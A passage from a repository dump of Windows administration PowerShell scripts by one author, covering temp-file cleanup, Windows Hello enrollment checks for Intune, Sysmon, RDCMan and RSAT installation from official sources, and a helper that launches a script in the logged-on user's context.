"$env:TEMP\*" -Force -Recurse -ErrorAction SilentlyContinue 97 | # Empty the recycle bin 98 | Clear-RecycleBin -Force -ErrorAction SilentlyContinue 99 | } 100 | #endregion 101 | -------------------------------------------------------------------------------- /Get-WindowsHelloStatus.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script queries the registry in the context of the logged on user. 4 | It queries a specific registry value, to determine if a PIN provider is added for the user in question. 5 | Using a PIN provider is the minimum required in order to use Windows Hello for Business 6 | 7 | .DESCRIPTION 8 | Same as above 9 | 10 | .NOTES 11 | Filename: Get-WindowsHelloStatus.ps1 12 | Version: 1.0 13 | Author: Martin Bengtsson 14 | Blog: www.imab.dk 15 | Twitter: @mwbengtsson 16 | 17 | .LINK 18 | https://www.imab.dk/use-custom-compliance-settings-in-microsoft-intune-to-require-windows-hello-enrollment 19 | 20 | #> 21 | 22 | function Get-WindowsHelloStatus() { 23 | # Get currently logged on user's SID 24 | $currentUserSID = (whoami /user /fo csv | convertfrom-csv).SID 25 | # Registry path to credential provider belonging for the PIN. A PIN is required with Windows Hello 26 | $credentialProvider = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{D6886603-9D2F-4EB2-B667-1971041FA96B}" 27 | if (Test-Path -Path $credentialProvider) { 28 | $userSIDs = Get-ChildItem -Path $credentialProvider 29 | $registryItems = $userSIDs | Foreach-Object { Get-ItemProperty $_.PsPath } 30 | } 31 | else { 32 | Write-Output "Not able to determine Windows Hello enrollment status" 33 | Exit 1 34 | } 35 | if(-NOT[string]::IsNullOrEmpty($currentUserSID)) { 36 | # If multiple SID's are found in registry, look for the SID belonging to the logged on user 37 | if ($registryItems.GetType().IsArray) { 38 | # LogonCredsAvailable needs to be set to 1, indicating that the PIN credential provider is in use 39 | if ($registryItems.Where({$_.PSChildName -eq $currentUserSID}).LogonCredsAvailable -eq 1) { 40 | Write-Output "ENROLLED" 41 | } 42 | else { 43 | Write-Output "NOTENROLLED" 44 | } 45 | } 46 | else { 47 | if (($registryItems.PSChildName -eq $currentUserSID) -AND ($registryItems.LogonCredsAvailable -eq 1)) { 48 | Write-Output "ENROLLED" 49 | } 50 | else { 51 | Write-Output "NOTENROLLED" 52 | } 53 | } 54 | } 55 | else { 56 | Write-Output "Not able to determine Windows Hello enrollment status" 57 | Exit 1 58 | } 59 | } 60 | # Return Windows Hello status to Intune in JSON format 61 | $WHfB = Get-WindowsHelloStatus 62 | $hash = @{EnrollmentStatus = $WHfB} 63 | return $hash | ConvertTo-Json -Compress -------------------------------------------------------------------------------- /Install-Configure-Sysmon.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script installs, configures, or uninstalls Sysmon on a Windows system. 4 | 5 | .DESCRIPTION 6 | The script provides functionality to download, install, and configure Sysmon, a system monitoring tool from Sysinternals. It also allows for the uninstallation of Sysmon. The script includes logging capabilities and checks to ensure Sysmon is running with the latest configuration. 7 | 8 | .PARAMETER InstallSysmon 9 | Switch parameter to install and configure Sysmon. 10 | 11 | .PARAMETER UninstallSysmon 12 | Switch parameter to uninstall Sysmon. 13 | 14 | .EXAMPLE 15 | .\Install-Configure-Sysmon.ps1 -InstallSysmon 16 | Installs and configures Sysmon with the specified configuration. 17 | 18 | .EXAMPLE 19 | .\Install-Configure-Sysmon.ps1 -UninstallSysmon 20 | Uninstalls Sysmon from the system. 21 | 22 | .NOTES 23 | Author: Martin Bengtsson 24 | Date: 12-02-2025 25 | Version: 1.0 26 | #> 27 | 28 | [CmdletBinding()] 29 | param( 30 | [Parameter(Mandatory=$false)] 31 | [switch]$InstallSysmon, 32 | [parameter(Mandatory=$false)] 33 | [ValidateNotNullOrEmpty()] 34 | [switch]$UninstallSysmon 35 | ) 36 | # Define the URLs for Sysmon download and configuration file 37 | $sysmonUrl = "https://download.sysinternals.com/files/Sysmon.zip" 38 | $sysmonBasePath = "C:\Windows\Sysmon" 39 | $sysmonZipPath = "C:\Windows\Temp\Sysmon.zip" 40 | $sysmonExtractPath = $sysmonBasePath 41 | $sysmonConfigPath = (Join-Path -Path $sysmonBasePath -ChildPath "sysmon-config.xml") 42 | $sysmonLogPath = (Join-Path -Path $sysmonBasePath -ChildPath "sysmon-install.log") 43 | $sysmonConfigVersion = "75" 44 | $sysmonConfigContent = "" 45 | # Function to log messages 46 | function Write-Log { 47 | param ( 48 | [string]$logMessage 49 | ) 50 | $timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss" 51 | $logMessage = "$timestamp - $logMessage" 52 | $logMessage | Out-File -FilePath $sysmonLogPath -Append -Encoding UTF8 53 | Write-Output $logMessage 54 | } 55 | # Function to test if Sysmon service is running 56 | function Test-SysmonService { 57 | try { 58 | $service = Get-Service -Name "Sysmon" -ErrorAction Stop 59 | if ($service.Status -eq 'Running') { 60 | Write-Log "Sysmon service is running." 61 | return $true 62 | } else { 63 | Write-Log "Sysmon service is not running." 64 | return $false 65 | } 66 | } catch { 67 | Write-Log "Sysmon service is not installed." 68 | return $false 69 | } 70 | } 71 | # Function to get the current Sysmon configuration version 72 | function Get-SysmonConfigVersion { 73 | if (Test-Path -Path $sysmonConfigPath) { 74 | $currentConfig = Get-Content -Path $sysmonConfigPath -ErrorAction SilentlyContinue 75 | if ($currentConfig) { 76 | $versionLine = $currentConfig | Select-String -Pattern "Source version:" 77 | if ($versionLine) { 78 | return ($versionLine -split ":")[1].Trim() 79 | } 80 | } 81 | } else { 82 | Write-Log "Sysmon configuration file not found." 83 | } 84 | return $null 85 | } 86 | # Function to install Sysmon 87 | function Install-Sysmon() { 88 | $sysmonService = Test-SysmonService 89 | if ($sysmonService[1] -eq $true) { 90 | $currentVersion = Get-SysmonConfigVersion 91 | if ($currentVersion -lt $sysmonConfigVersion) { 92 | try { 93 | Write-Log "Updating Sysmon configuration to version $sysmonConfigVersion." 94 | $sysmonConfigContent | Out-File -FilePath $sysmonConfigPath -Encoding UTF8 -Force 95 | Start-Process -FilePath (Join-Path -Path $sysmonExtractPath -ChildPath "Sysmon.exe") -ArgumentList "-c $sysmonConfigPath" -NoNewWindow -Wait 96 | Write-Log "Sysmon configuration updated." 97 | } catch { 98 | Write-Log "Failed to update Sysmon configuration: $_" 99 | } 100 | } else { 101 | Write-Log "Sysmon is already running with the latest configuration version $sysmonConfigVersion." 102 | } 103 | } else { 104 | try { 105 | Write-Log "Downloading Sysmon from $sysmonUrl to $sysmonZipPath." 106 | Invoke-WebRequest -Uri $sysmonUrl -OutFile $sysmonZipPath -UseBasicParsing -ErrorAction Stop 107 | } catch { 108 | Write-Log "Failed to download Sysmon: $_" 109 | return 110 | } 111 | try { 112 | Write-Log "Extracting Sysmon to $sysmonExtractPath." 113 | Expand-Archive -Path $sysmonZipPath -DestinationPath $sysmonExtractPath -ErrorAction Stop -Force 114 | } catch { 115 | Write-Log "Failed to extract Sysmon: $_" 116 | return 117 | } 118 | try { 119 | Write-Log "Saving Sysmon configuration to $sysmonConfigPath." 120 | $sysmonConfigContent | Out-File -FilePath $sysmonConfigPath -Encoding UTF8 -Force 121 | } catch { 122 | Write-Log "Failed to save Sysmon configuration: $_" 123 | return 124 | } 125 | try { 126 | $sysmonExePath = (Join-Path -Path $sysmonExtractPath -ChildPath "Sysmon.exe") 127 | Write-Log "Installing Sysmon with the saved configuration." 128 | Start-Process -FilePath $sysmonExePath -ArgumentList "-accepteula -i $sysmonConfigPath" -NoNewWindow -Wait 129 | $sysmonService = Test-SysmonService 130 | if ($sysmonService[1] -eq $true) { 131 | Write-Log "Sysmon successfully installed." 132 | } 133 | } catch { 134 | Write-Log "Failed to install Sysmon: $_" 135 | } 136 | } 137 | } 138 | # Function to uninstall Sysmon 139 | function Uninstall-Sysmon { 140 | try { 141 | Write-Log "Uninstalling Sysmon." 142 | $sysmonExePath = (Join-Path -Path $sysmonExtractPath -ChildPath "Sysmon.exe") 143 | Start-Process -FilePath $sysmonExePath -ArgumentList "-u" -NoNewWindow -Wait 144 | Write-Log "Sysmon successfully uninstalled." 145 | } catch { 146 | Write-Log "Failed to uninstall Sysmon: $_" 147 | } 148 | } 149 | if ($PSBoundParameters["InstallSysmon"]) { 150 | # Call the function to install Sysmon 151 | Install-Sysmon 152 | } 153 | if ($PSBoundParameters["UninstallSysmon"]) { 154 | # Call the function to uninstall Sysmon 155 | Uninstall-Sysmon 156 | } 157 | -------------------------------------------------------------------------------- /Install-NewRDCMan.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .DESCRIPTION 3 | Installs the new Remote Desktop Connection Manager directly from the Sysinternals online file share. 4 | 5 | .EXAMPLES 6 | .\Install-NewRDCMan.ps1 -Install 7 | Uninstall the old version, if the old version is installed. Then downloads the new version directly from the Internet. 8 | 9 | .\Install-NewRDCMan.ps1 -Uninstall 10 | Uninstalls (deletes) the entire directory 11 | 12 | .NOTES 13 | FileName: Install-NewRDCMan.ps1 14 | Author: Martin Bengtsson 15 | Blog: www.imab.dk 16 | Twitter: @mwbengtsson 17 | #> 18 | 19 | [CmdletBinding()] 20 | param( 21 | [parameter(Mandatory=$false)] 22 | [ValidateNotNullOrEmpty()] 23 | [switch]$Install, 24 | [parameter(Mandatory=$false)] 25 | [ValidateNotNullOrEmpty()] 26 | [switch]$Uninstall 27 | ) 28 | 29 | function Uninstall-OldRDCMan() { 30 | $registryPath = "HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" 31 | if (Test-Path -Path $registryPath) { 32 | $rdcMan = Get-ChildItem -Path $registryPath -Recurse | Get-ItemProperty | Where-Object {$_.Displayname -eq "Remote Desktop Connection Manager" } | Select-Object DisplayName,DisplayVersion,UninstallString 33 | if (-NOT[string]::IsNullOrEmpty($rdcMan)) { 34 | Write-Verbose -Verbose -Message "RDCMan found in HKLM" 35 | foreach ($app in $rdcMan) { 36 | if ($app.UninstallString) { 37 | # Regular expression for format of MSI product code 38 | $msiRegEx = "\w{8}-\w{4}-\w{4}-\w{4}-\w{12}" 39 | # Formatting the product code in a creative way. 40 | # Needed this separately, as the uninstall string retrieved from registry sometimes wasn't formatted properly 41 | $a = $app.Uninstallstring.Split("{")[1] 42 | $b = $a.Split("}")[0] 43 | # Only continuing if the uninstall string matches a regular MSI product code 44 | if ($b -match $msiRegEx) { 45 | $productCode = "{" + $b + "}" 46 | if (-NOT[string]::IsNullOrEmpty($productCode)) { 47 | try { 48 | Write-Verbose -Verbose -Message "Uninstalling application: $($app.DisplayName)" 49 | Start-Process "C:\Windows\System32\msiexec.exe" -ArgumentList ("/x" + $productCode + " /passive") -Wait 50 | Write-Verbose -Verbose -Message "Successfully uninstalled application: $($app.DisplayName) version: $($app.DisplayVersion)" 51 | } 52 | catch { 53 | Write-Error -Message "Failed to uninstall application: $($app.DisplayName)" 54 | } 55 | } 56 | } 57 | } 58 | } 59 | } 60 | else { 61 | Write-Verbose -Verbose -Message "Old RDCMan is not installed. Doing nothing" 62 | } 63 | } 64 | } 65 | 66 | function Install-NewRDCMan() { 67 | $rdcManSource = "https://live.sysinternals.com/RDCMan.exe" 68 | $rdcManDestination = "C:\Program Files\SysinternalsSuite" 69 | $rdcManFile = "$rdcManDestination\RDCMan.exe" 70 | try { $testRdcManSource = Invoke-WebRequest -Uri $rdcManSource -UseBasicParsing } catch { <# nothing to see here. Used to make webrequest silent #> } 71 | if ($testRdcManSource.StatusDescription -eq "OK") { 72 | if (-NOT(Test-Path $rdcManDestination)) { 73 | New-Item -ItemType Directory -Path $rdcManDestination 74 | } 75 | try { 76 | Invoke-WebRequest -Uri $rdcManSource -OutFile $rdcManFile 77 | Write-Verbose -Verbose -Message "Succesfully installed NEW Remote Desktop Connection Manager from $rdcManSource to $rdcManFile" 78 | } 79 | catch { 80 | Write-Verbose -Verbose -Message "Failed to download RDCman.exe from $rdcManSource" 81 | } 82 | } 83 | else { 84 | Write-Verbose -Verbose -Message "RDCMan.exe is not available at the set location or there's no access to the Internet" 85 | } 86 | } 87 | 88 | function Uninstall-NewRDCMan() { 89 | $rdcManDestination = "C:\Program Files\SysinternalsSuite" 90 | $rdcManFile = "$rdcManDestination\RDCMan.exe" 91 | if (Test-Path $rdcManFile) { 92 | try { 93 | Remove-Item $rdcManDestination -Force -Recurse 94 | Write-Verbose -Verbose -Message "Successfully removed Remote Desktop Connection Manager from $rdcManFile" 95 | } 96 | catch { 97 | Write-Verbose -Verbose -Message "Failed to remove Remote Desktop Connection Manager from $rdcManFile" 98 | } 99 | } 100 | else { 101 | Write-Verbose -Verbose -Message "Remote Desktop Connection Manager is not found in $rdcManFile" 102 | } 103 | } 104 | 105 | if ($PSBoundParameters["Install"]) { 106 | Uninstall-OldRDCMan 107 | Install-NewRDCMan 108 | } 109 | 110 | if ($PSBoundParameters["Uninstall"]) { 111 | Uninstall-NewRDCMan 112 | } -------------------------------------------------------------------------------- /Install-RSATv1809v1903v1909v2004v20H2.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | Install RSAT features for Windows 10 1809 or 1903 or 1909 or 2004 or 20H2. 4 | 5 | .DESCRIPTION 6 | Install RSAT features for Windows 10 1809 or 1903 or 1909 or 2004 or 20H2. All features are installed online from Microsoft Update thus the script requires Internet access 7 | 8 | .PARAMETER All 9 | Installs all the features within RSAT. This takes several minutes, depending on your Internet connection 10 | 11 | .PARAMETER Basic 12 | Installs ADDS, DHCP, DNS, GPO, ServerManager 13 | 14 | .PARAMETER ServerManager 15 | Installs ServerManager 16 | 17 | .PARAMETER Uninstall 18 | Uninstalls all the RSAT features 19 | 20 | .PARAMETER disableWSUS 21 | Disables the use of WSUS prior to installing the RSAT features. This involves restarting the wuauserv service. The script will enable WSUS again post installing the features on demand 22 | 23 | .NOTES 24 | Filename: Install-RSATv1809v1903v1909v2004v20H2.ps1 25 | Version: 1.6 26 | Author: Martin Bengtsson 27 | Blog: www.imab.dk 28 | Twitter: @mwbengtsson 29 | 30 | Version history: 31 | 32 | 1.0 - Script created 33 | 34 | 1.2 - Added test for pending reboots. If reboot is pending, RSAT features might not install successfully 35 | Added test for configuration of local WSUS by Group Policy. 36 | - If local WSUS is configured by Group Policy, history shows that additional settings might be needed for some environments 37 | - This policy in question is located in administrative templates -> System 38 | 1.3 - Now using Get-CmiInstance instead of Get-WmiObject for determining OS buildnumber 39 | 40 | 1.4 - Script updated to support installing RSAT on Windows 10 v2004 41 | 42 | 1.5 - Script updated to support installing RSAT on Windows 10 v20H2 43 | 44 | 1.6 - Added option to disable WSUS prior to installing RSAT as features on demand 45 | - Some environments seems to require this 46 | - Will enable WSUS again post installation 47 | 48 | #> 49 | 50 | [CmdletBinding()] 51 | param( 52 | [parameter(Mandatory=$false)] 53 | [ValidateNotNullOrEmpty()] 54 | [switch]$All, 55 | [parameter(Mandatory=$false)] 56 | [ValidateNotNullOrEmpty()] 57 | [switch]$Basic, 58 | [parameter(Mandatory=$false)] 59 | [ValidateNotNullOrEmpty()] 60 | [switch]$ServerManager, 61 | [parameter(Mandatory=$false)] 62 | [ValidateNotNullOrEmpty()] 63 | [switch]$Uninstall, 64 | [Parameter(Mandatory=$false)] 65 | [switch]$DisableWSUS 66 | ) 67 | 68 | # Check for administrative rights 69 | if (-NOT([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) { 70 | Write-Warning -Message "The script requires elevation" 71 | break 72 | } 73 | 74 | # Create Write-Log function 75 | function Write-Log() { 76 | [CmdletBinding()] 77 | param( 78 | [Parameter(Mandatory=$true,ValueFromPipelineByPropertyName=$true)] 79 | [ValidateNotNullOrEmpty()] 80 | [Alias("LogContent")] 81 | [string]$message, 82 | [Parameter(Mandatory=$false)] 83 | [Alias('LogPath')] 84 | [string]$path = "$env:windir\Install-RSAT.log", 85 | [Parameter(Mandatory=$false)] 86 | [ValidateSet("Error","Warn","Info")] 87 | [string]$level = "Info" 88 | ) 89 | Begin { 90 | # Set VerbosePreference to Continue so that verbose messages are displayed. 91 | $verbosePreference = 'Continue' 92 | } 93 | Process { 94 | if ((Test-Path $Path)) { 95 | $logSize = (Get-Item -Path $Path).Length/1MB 96 | $maxLogSize = 5 97 | } 98 | # Check for file size of the log. If greater than 5MB, it will create a new one and delete the old. 99 | if ((Test-Path $Path) -AND $LogSize -gt $MaxLogSize) { 100 | Write-Error "Log file $Path already exists and file exceeds maximum file size. Deleting the log and starting fresh." 101 | Remove-Item $Path -Force 102 | $newLogFile = New-Item $Path -Force -ItemType File 103 | } 104 | # If attempting to write to a log file in a folder/path that doesn't exist create the file including the path. 105 | elseif (-NOT(Test-Path $Path)) { 106 | Write-Verbose "Creating $Path." 107 | $newLogFile = New-Item $Path -Force -ItemType File 108 | } 109 | else { 110 | # Nothing to see here yet. 111 | } 112 | # Format Date for our Log File 113 | $formattedDate = Get-Date -Format "yyyy-MM-dd HH:mm:ss" 114 | # Write message to error, warning, or verbose pipeline and specify $LevelText 115 | switch ($level) { 116 | 'Error' { 117 | Write-Error $message 118 | $levelText = 'ERROR:' 119 | } 120 | 'Warn' { 121 | Write-Warning $Message 122 | $levelText = 'WARNING:' 123 | } 124 | 'Info' { 125 | Write-Verbose $Message 126 | $levelText = 'INFO:' 127 | } 128 | } 129 | # Write log entry to $Path 130 | "$formattedDate $levelText $message" | Out-File -FilePath $path -Append 131 | } 132 | End { 133 | } 134 | } 135 | 136 | # Create Pending Reboot function for registry 137 | function Test-PendingRebootRegistry { 138 | $cbsRebootKey = Get-ChildItem "HKLM:\Software\Microsoft\Windows\CurrentVersion\Component Based Servicing\RebootPending" -ErrorAction Ignore 139 | $wuRebootKey = Get-Item "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update\RebootRequired" -ErrorAction Ignore 140 | if (($cbsRebootKey -ne $null) -OR ($wuRebootKey -ne $null)) { 141 | $true 142 | } 143 | else { 144 | $false 145 | } 146 | } 147 | 148 | # Minimum required Windows 10 build (v1809) 149 | $1809Build = "17763" 150 | # Get running Windows build 151 | $windowsBuild = (Get-CimInstance -Class Win32_OperatingSystem).BuildNumber 152 | # Get information about local WSUS server 153 | $wuServer = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" -Name WUServer -ErrorAction Ignore).WUServer 154 | $useWUServer = (Get-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -ErrorAction Ignore).UseWuServer 155 | # Look for pending reboots in the registry 156 | $testPendingRebootRegistry = Test-PendingRebootRegistry 157 | 158 | if ($windowsBuild -ge $1809Build) { 159 | Write-Log -Message "Running correct Windows 10 build number for installing RSAT with Features on Demand. Build number is: $WindowsBuild" 160 | Write-Log -Message "***********************************************************" 161 | 162 | if ($wuServer -ne $null) { 163 | Write-Log -Message "A local WSUS server was found configured by group policy: $wuServer" 164 | Write-Log -Message "You might need to configure additional setting by GPO if things are not working" 165 | Write-Log -Message "The GPO of interest is following: Specify settings for optional component installation and component repair" 166 | Write-Log -Message "Check ON: Download repair content and optional features directly from Windows Update..." 167 | Write-Log -Message "***********************************************************" 168 | Write-Log -Message "Alternatively, run this script with parameter -disableWSUS to allow the script to temporarily disable WSUS" 169 | } 170 | if ($PSBoundParameters["DisableWSUS"]) { 171 | if (-NOT[string]::IsNullOrEmpty($useWUServer)) { 172 | if ($useWUServer -eq 1) { 173 | Write-Log -Message "***********************************************************" 174 | Write-Log -Message "DisableWSUS selected. Temporarily disabling WSUS in order to successfully install features on demand" 175 | Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "UseWuServer" -Value 0 176 | Restart-Service wuauserv 177 | } 178 | } 179 | } 180 | 181 | if ($testPendingRebootRegistry -eq $true) { 182 | Write-Log -Message "***********************************************************" 183 | Write-Log -Message "Reboots are pending. The script will continue, but RSAT might not install successfully" 184 | } 185 | 186 | if ($PSBoundParameters["All"]) { 187 | Write-Log -Message "***********************************************************" 188 | Write-Log -Message "Script is running with -All parameter. Installing all available RSAT features" 189 | $install = Get-WindowsCapability -Online | Where-Object {$_.Name -like "Rsat*" -AND $_.State -eq "NotPresent"} 190 | if ($install -ne $null) { 191 | foreach ($item in $install) { 192 | $rsatItem = $item.Name 193 | Write-Log -Message "Adding $RsatItem to Windows" 194 | try { 195 | Add-WindowsCapability -Online -Name $rsatItem 196 | } 197 | catch [System.Exception] { 198 | Write-Log -Message "Failed to add $rsatItem to Windows" -Level Warn 199 | Write-Log -Message "$($_.Exception.Message)" -Level Warn 200 | } 201 | } 202 | if ($PSBoundParameters["DisableWSUS"]) { 203 | if (-NOT[string]::IsNullOrEmpty($useWUServer)) { 204 | if ($useWUServer -eq 1) { 205 | Write-Log -Message "***********************************************************" 206 | Write-Log -Message "Enabling WSUS again post installing features on demand" 207 | Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "UseWuServer" -Value 1 208 | Restart-Service wuauserv 209 | } 210 | } 211 | } 212 | } 213 | else { 214 | Write-Log -Message "All RSAT features seems to be installed already" 215 | } 216 | } 217 | 218 | if ($PSBoundParameters["Basic"]) { 219 | Write-Log -Message "***********************************************************" 220 | Write-Log -Message "Script is running with -Basic parameter. Installing basic RSAT features" 221 | # Querying for what I see as the basic features of RSAT. Modify this if you think something is missing. :-) 222 | $install = Get-WindowsCapability -Online | Where-Object {$_.Name -like "Rsat.ActiveDirectory*" -OR $_.Name -like "Rsat.DHCP.Tools*" -OR $_.Name -like "Rsat.Dns.Tools*" -OR $_.Name -like "Rsat.GroupPolicy*" -OR $_.Name -like "Rsat.ServerManager*" -AND $_.State -eq "NotPresent" } 223 | if ($install -ne $null) { 224 | foreach ($item in $install) { 225 | $rsatItem = $item.Name 226 | Write-Log -Message "Adding $rsatItem to Windows" 227 | try { 228 | Add-WindowsCapability -Online -Name $rsatItem 229 | } 230 | catch [System.Exception] { 231 | Write-Log -Message "Failed to add $rsatItem to Windows" -Level Warn 232 | Write-Log -Message "$($_.Exception.Message)" -Level Warn 233 | } 234 | } 235 | if ($PSBoundParameters["DisableWSUS"]) { 236 | if (-NOT[string]::IsNullOrEmpty($useWUServer)) { 237 | if ($useWUServer -eq 1) { 238 | Write-Log -Message "***********************************************************" 239 | Write-Log -Message "Enabling WSUS again post installing features on demand" 240 | Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "UseWuServer" -Value 1 241 | Restart-Service wuauserv 242 | } 243 | } 244 | } 245 | } 246 | else { 247 | Write-Log -Message "The basic features of RSAT seems to be installed already" 248 | } 249 | } 250 | 251 | if ($PSBoundParameters["ServerManager"]) { 252 | Write-Log -Message "***********************************************************" 253 | Write-Log -Message "Script is running with -ServerManager parameter. Installing Server Manager RSAT feature" 254 | $install = Get-WindowsCapability -Online | Where-Object {$_.Name -like "Rsat.ServerManager*" -AND $_.State -eq "NotPresent"} 255 | if ($install -ne $null) { 256 | $rsatItem = $Install.Name 257 | Write-Log -Message "Adding $rsatItem to Windows" 258 | try { 259 | Add-WindowsCapability -Online -Name $rsatItem 260 | } 261 | catch [System.Exception] { 262 | Write-Log -Message "Failed to add $rsatItem to Windows" -Level Warn 263 | Write-Log -Message "$($_.Exception.Message)" -Level Warn 264 | } 265 | if ($PSBoundParameters["DisableWSUS"]) { 266 | if (-NOT[string]::IsNullOrEmpty($useWUServer)) { 267 | if ($useWUServer -eq 1) { 268 | Write-Log -Message "***********************************************************" 269 | Write-Log -Message "Enabling WSUS again post installing features on demand" 270 | Set-ItemProperty -Path "HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" -Name "UseWuServer" -Value 1 271 | Restart-Service wuauserv 272 | } 273 | } 274 | } 275 | } 276 | 277 | else { 278 | Write-Log -Message "$rsatItem seems to be installed already" 279 | } 280 | } 281 | 282 | if ($PSBoundParameters["Uninstall"]) { 283 | Write-Log -Message "***********************************************************" 284 | Write-Log -Message "Script is running with -Uninstall parameter. Uninstalling all RSAT features" 285 | # Querying for installed RSAT features first time 286 | $installed = Get-WindowsCapability -Online | Where-Object {$_.Name -like "Rsat*" -AND $_.State -eq "Installed" -AND $_.Name -notlike "Rsat.ServerManager*" -AND $_.Name -notlike "Rsat.GroupPolicy*" -AND $_.Name -notlike "Rsat.ActiveDirectory*"} 287 | if ($installed -ne $null) { 288 | Write-Log -Message "Uninstalling the first round of RSAT features" 289 | # Uninstalling first round of RSAT features - some features seems to be locked until others are uninstalled first 290 | foreach ($item in $installed) { 291 | $rsatItem = $item.Name 292 | Write-Log -Message "Uninstalling $rsatItem from Windows" 293 | try { 294 | Remove-WindowsCapability -Name $rsatItem -Online 295 | } 296 | catch [System.Exception] { 297 | Write-Log -Message "Failed to uninstall $rsatItem from Windows" -Level Warn 298 | Write-Log -Message "$($_.Exception.Message)" -Level Warn 299 | } 300 | } 301 | } 302 | # Querying for installed RSAT features second time 303 | $installed = Get-WindowsCapability -Online | Where-Object {$_.Name -like "Rsat*" -AND $_.State -eq "Installed"} 304 | if ($installed -ne $null) { 305 | Write-Log -Message "Uninstalling the second round of RSAT features" 306 | # Uninstalling second round of RSAT features 307 | foreach ($item in $installed) { 308 | $rsatItem = $item.Name 309 | Write-Log -Message "Uninstalling $rsatItem from Windows" 310 | try { 311 | Remove-WindowsCapability -Name $rsatItem -Online 312 | } 313 | catch [System.Exception] { 314 | Write-Log -Message "Failed to remove $rsatItem from Windows" -Level Warn 315 | Write-Log -Message "$($_.Exception.Message)" -Level Warn 316 | } 317 | } 318 | } 319 | else { 320 | Write-Log -Message "All RSAT features seems to be uninstalled already" 321 | } 322 | } 323 | } 324 | else { 325 | Write-Log -Message "Not running correct Windows 10 build: $windowsBuild" -Level Warn 326 | } 327 | -------------------------------------------------------------------------------- /Invoke-PSScriptAsUser.ps1: -------------------------------------------------------------------------------- 1 | # Executes a PowerShell script in the context of the currently active user 2 | 3 | Param($File) 4 | 5 | # CSharp code for creating a process in the user context 6 | # Thanks to http://rzander.azurewebsites.net/create-a-process-as-loggedon-user/ 7 | # and https://github.com/murrayju/CreateProcessAsUser 8 | $Source = @" 9 | using System; 10 | using System.Runtime.InteropServices; 11 | 12 | namespace Runasuser 13 | { 14 | public static class ProcessExtensions 15 | { 16 | #region Win32 Constants 17 | 18 | private const int CREATE_UNICODE_ENVIRONMENT = 0x00000400; 19 | private const int CREATE_NO_WINDOW = 0x08000000; 20 | 21 | private const int CREATE_NEW_CONSOLE = 0x00000010; 22 | 23 | private const uint INVALID_SESSION_ID = 0xFFFFFFFF; 24 | private static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero; 25 | 26 | #endregion 27 | 28 | #region DllImports 29 | 30 | [DllImport("advapi32.dll", EntryPoint = "CreateProcessAsUser", SetLastError = true, CharSet = CharSet.Ansi, CallingConvention = CallingConvention.StdCall)] 31 | private static extern bool CreateProcessAsUser( 32 | IntPtr hToken, 33 | String lpApplicationName, 34 | String lpCommandLine, 35 | IntPtr lpProcessAttributes, 36 | IntPtr lpThreadAttributes, 37 | bool bInheritHandle, 38 | uint dwCreationFlags, 39 | IntPtr lpEnvironment, 40 | String lpCurrentDirectory, 41 | ref STARTUPINFO lpStartupInfo, 42 | out PROCESS_INFORMATION lpProcessInformation); 43 | 44 | [DllImport("advapi32.dll", EntryPoint = "DuplicateTokenEx")] 45 | private static extern bool DuplicateTokenEx( 46 | IntPtr ExistingTokenHandle, 47 | uint dwDesiredAccess, 48 | IntPtr lpThreadAttributes, 49 | int TokenType, 50 | int ImpersonationLevel, 51 | ref IntPtr DuplicateTokenHandle); 52 | 53 | [DllImport("userenv.dll", SetLastError = true)] 54 | private static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment, IntPtr hToken, bool bInherit); 55 | 56 | [DllImport("userenv.dll", SetLastError = true)] 57 | [return: MarshalAs(UnmanagedType.Bool)] 58 | private static extern bool DestroyEnvironmentBlock(IntPtr lpEnvironment); 59 | 60 | [DllImport("kernel32.dll", SetLastError = true)] 61 | private static extern bool CloseHandle(IntPtr hSnapshot); 62 | 63 | [DllImport("kernel32.dll")] 64 | private static extern uint WTSGetActiveConsoleSessionId(); 65 | 66 | [DllImport("Wtsapi32.dll")] 67 | private static extern uint WTSQueryUserToken(uint SessionId, ref IntPtr phToken); 68 | 69 | [DllImport("wtsapi32.dll", SetLastError = true)] 70 | private static extern int WTSEnumerateSessions( 71 | IntPtr hServer, 72 | int Reserved, 73 | int Version, 74 | ref IntPtr ppSessionInfo, 75 | ref int pCount); 76 | 77 | #endregion 78 | 79 | #region Win32 Structs 80 | 81 | private enum SW 82 | { 83 | SW_HIDE = 0, 84 | SW_SHOWNORMAL = 1, 85 | SW_NORMAL = 1, 86 | SW_SHOWMINIMIZED = 2, 87 | SW_SHOWMAXIMIZED = 3, 88 | SW_MAXIMIZE = 3, 89 | SW_SHOWNOACTIVATE = 4, 90 | SW_SHOW = 5, 91 | SW_MINIMIZE = 6, 92 | SW_SHOWMINNOACTIVE = 7, 93 | SW_SHOWNA = 8, 94 | SW_RESTORE = 9, 95 | SW_SHOWDEFAULT = 10, 96 | SW_MAX = 10 97 | } 98 | 99 | private enum WTS_CONNECTSTATE_CLASS 100 | { 101 | WTSActive, 102 | WTSConnected, 103 | WTSConnectQuery, 104 | WTSShadow, 105 | WTSDisconnected, 106 | WTSIdle, 107 | WTSListen, 108 | WTSReset, 109 | WTSDown, 110 | WTSInit 111 | } 112 | 113 | [StructLayout(LayoutKind.Sequential)] 114 | private struct PROCESS_INFORMATION 115 | { 116 | public IntPtr hProcess; 117 | public IntPtr hThread; 118 | public uint dwProcessId; 119 | public uint dwThreadId; 120 | } 